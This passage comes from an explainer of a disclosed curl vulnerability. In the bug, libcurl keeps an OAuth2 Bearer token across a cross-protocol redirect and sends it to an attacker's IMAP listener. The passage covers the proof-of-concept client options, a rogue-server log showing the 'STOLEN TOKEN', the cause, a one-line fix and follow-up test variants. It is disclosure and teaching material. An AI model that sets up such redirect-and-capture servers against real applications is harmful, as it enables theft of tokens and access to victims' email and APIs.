Inside the block, each curl_easy_setopt call sets one option on the handle. The first sets the starting address to http://[redacted]:8080/resource, which is the rogue website on this computer. The second sets the Bearer token to our fake secret. The third sets an initial username, initial_user, which the report calls optional but realistic. The fourth turns on redirect following with CURLOPT_FOLLOWLOCATION, so curl will obey the 301 reply. The fifth explicitly allows http, https and imap as redirect targets, because recent curl versions are restrictive about which protocols a redirect may switch to. The comment explains that IMAP has to be allowed on purpose.

The next comment is the heart of the demonstration: CURLOPT_UNRESTRICTED_AUTH is deliberately not enabled. That option is the documented way for an application to say "yes, send my credentials to other hosts". Leaving it off means curl is in its safe mode, trying to protect credentials. The point is to show that the token leaks even then.

CURLOPT_VERBOSE turns on detailed logging, which helps see what curl is doing. curl_easy_perform actually makes the request and follows the redirect. curl_easy_cleanup releases the handle, and return 0 ends the program.

Step 3: Run the client

./ means "run the program in the current folder". The client sends its request to the website listener and follows the redirect to the email listener.

Step 4: Observe the leak

The rogue server's output shows the token arriving on the email port:

Text
python3 rogue_server.py
[HTTP] Redirector listening on [redacted]:8080
[IMAP] Stealer listening on [redacted]:1430
[HTTP] Sent 301 Redirect to imap://[redacted]:1430/
[IMAP] Victim connected from ('[redacted]', 36232)
[IMAP] Received: B001 CAPABILITY
[IMAP] Received: B002 AUTHENTICATE XOAUTH2

==================================================
[!!!] STOLEN TOKEN: [redacted]==
==================================================

Reading this log: the two listeners start. The website listener sends its redirect. The email listener sees a connection from [redacted] (the same computer) on some high-numbered port. curl then sends B001 CAPABILITY, which is a request for the server's abilities, tagged B001 so the reply can be matched to it. Next comes B002 AUTHENTICATE XOAUTH2, which is curl asking to log in with an OAuth2 token. The server replies with +, curl sends the login data, and the server prints it as the stolen token.

The captured string is base64, a way of writing arbitrary bytes using only letters, digits and a few symbols. Decoded, it reads user=victim^Aauth=Bearer MY_SECRET_GOLDEN_TICKET^A^A, where ^A stands for a non-printable separator character. That is the standard login payload for this kind of email authentication, and it contains exactly the token the client was configured with.

Why it happens

When a redirect crosses a host, port or protocol boundary and the application has not allowed credentials to go to other hosts, curl clears the username and password. It does not clear the Bearer token. The token therefore survives inside the handle and is reused for the new connection. When that new connection is to a protocol that supports this kind of login and a username is present (here supplied by the victim@ part of the redirect address), curl attempts AUTHENTICATE XOAUTH2 and sends the token.

The protection added for CVE-2022-27774 only covers the old username and password fields, so it does not stop this leak. The report describes the issue as a bypass of that hardening, which protects only the old username and password fields.

What an attacker could do

The main impact is that a valid OAuth2 Bearer token ends up on a server controlled by the attacker. The report notes that, unlike a basic username and password which may only work on one site, OAuth2 tokens often grant broad access to APIs, to user data such as emails and files, or to Single Sign-On sessions. An API is a way for one program to ask another program for data or actions, like a waiter taking your order to the kitchen.

With the stolen token, an attacker can pretend to be the victim towards the real service provider. The report gives Gmail, Office 365 and internal APIs as examples. The attacker can do anything the token is allowed to do, such as reading private emails or changing data, without the victim knowing.

The bug needs a specific situation: an application using libcurl connects to a trusted server and is redirected to a malicious server, for example through an open redirect, on a protocol that supports this kind of login, such as IMAP, SMTP or POP3.

The fix

The report does not describe a patch. The change it points to is to clear the Bearer token in the same redirect block that clears the username and password, as shown by the missing line in the pseudo-code:

C
Curl_safefree(data->set.str[STRING_BEARER]);

This single line would release the stored token at the same moment the username and password are released, so it could not be reused on the new connection.

Other things to test

  1. Redirect to SMTP or POP3 instead of IMAP. A positive result is the rogue server receiving an AUTH XOAUTH2 (SMTP) or AUTHENTICATE XOAUTH2 (POP3) exchange containing the Bearer token after a cross-protocol redirect.
  2. Redirect to a different host or port on the same protocol. A positive result is the token being sent to the new destination even though the username and password were cleared.
  3. Redirect without a username in the URL. This checks whether the login attempt depends on a username being present; a positive result is the token still being sent, a negative result is no authentication attempt.
  4. Set CURLOPT_UNRESTRICTED_AUTH. This is the documented opt-in for sending credentials to other hosts; a positive result is the token being sent, which is expected behaviour rather than a finding.
  5. Use a redirect chain that crosses a boundary and then returns to the original host. A positive result is the token being reused after the boundary crossing in a way the standard credentials would not be.

Glossary

  • API: a way for one program to ask another program for data or to perform actions, like a waiter carrying orders between you and the kitchen.
  • Base64: a way of writing arbitrary bytes using only letters, digits and a few symbols, so they can travel safely as text.
  • Bearer token: a secret string that grants access to whoever holds it, like a cloakroom ticket; no further proof of identity is needed.
  • C: a programming language often used for system software and libraries.
  • CAPABILITY: an IMAP command that asks a server what it can do.
  • Compile: turn source code into a runnable program.
  • Credential: any secret used to prove who you are, such as a password or a token.
  • CVE: a public identifier for a known security vulnerability, so people can refer to it unambiguously.
  • CVE-2022-27774: an earlier curl vulnerability whose fix added the clearing of username and password on cross-boundary redirects.
  • curl / libcurl: a tool and library used by many programs to make network requests; libcurl is the library form.
  • Easy handle: curl's session object that holds the settings and state for one request.
  • Exfiltration: secretly copying data out of a system to a place the attacker controls.
  • gcc: the GNU C compiler.
  • Handle: see easy handle.
  • Host: a computer on a network, identified by a name or address.
  • HTTP: the protocol used by websites to send pages and requests.
  • HTTPS: HTTP wrapped in encryption.
  • IMAP: a protocol for reading email stored on a server.
  • libcurl: see curl.
  • Location header: the part of an HTTP redirect reply that says where to go next.
  • OAuth2: a widely used system for granting apps limited access to your accounts without sharing your password.
  • Open redirect: a flaw where a website lets an attacker choose where a redirect sends the user.
  • POP3: another protocol for reading email from a server.
  • Port: a numbered door on a computer where a particular service listens.
  • Protocol: an agreed set of rules for a conversation between computers, such as HTTP or IMAP.
  • Pseudo-code: simplified code that illustrates an idea rather than being runnable.
  • Redirect: a reply from a server telling the client to go to a different address instead.
  • Regression: a bug that reintroduces a problem that had already been fixed.
  • SASL: a general framework for adding login mechanisms to network protocols.
  • Scope: the set of actions a token is allowed to perform.
  • SMTP: the protocol for sending email.
  • Socket: a software endpoint for a network conversation, like a telephone line.
  • Source code: the human-readable text of a program before it is compiled.
  • SSO (Single Sign-On): a system where one login gives access to many services.
  • Thread: a way for one program to do several things at the same time.
  • Token: a secret string used in place of a password, often with limited powers and an expiry.
  • Username and password: the classic pair of credentials for logging in.
  • XOAUTH2: a specific SASL login mechanism that carries an OAuth2 Bearer token.

More by anonymous_237

View all

4 more disclosed reports, best first.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.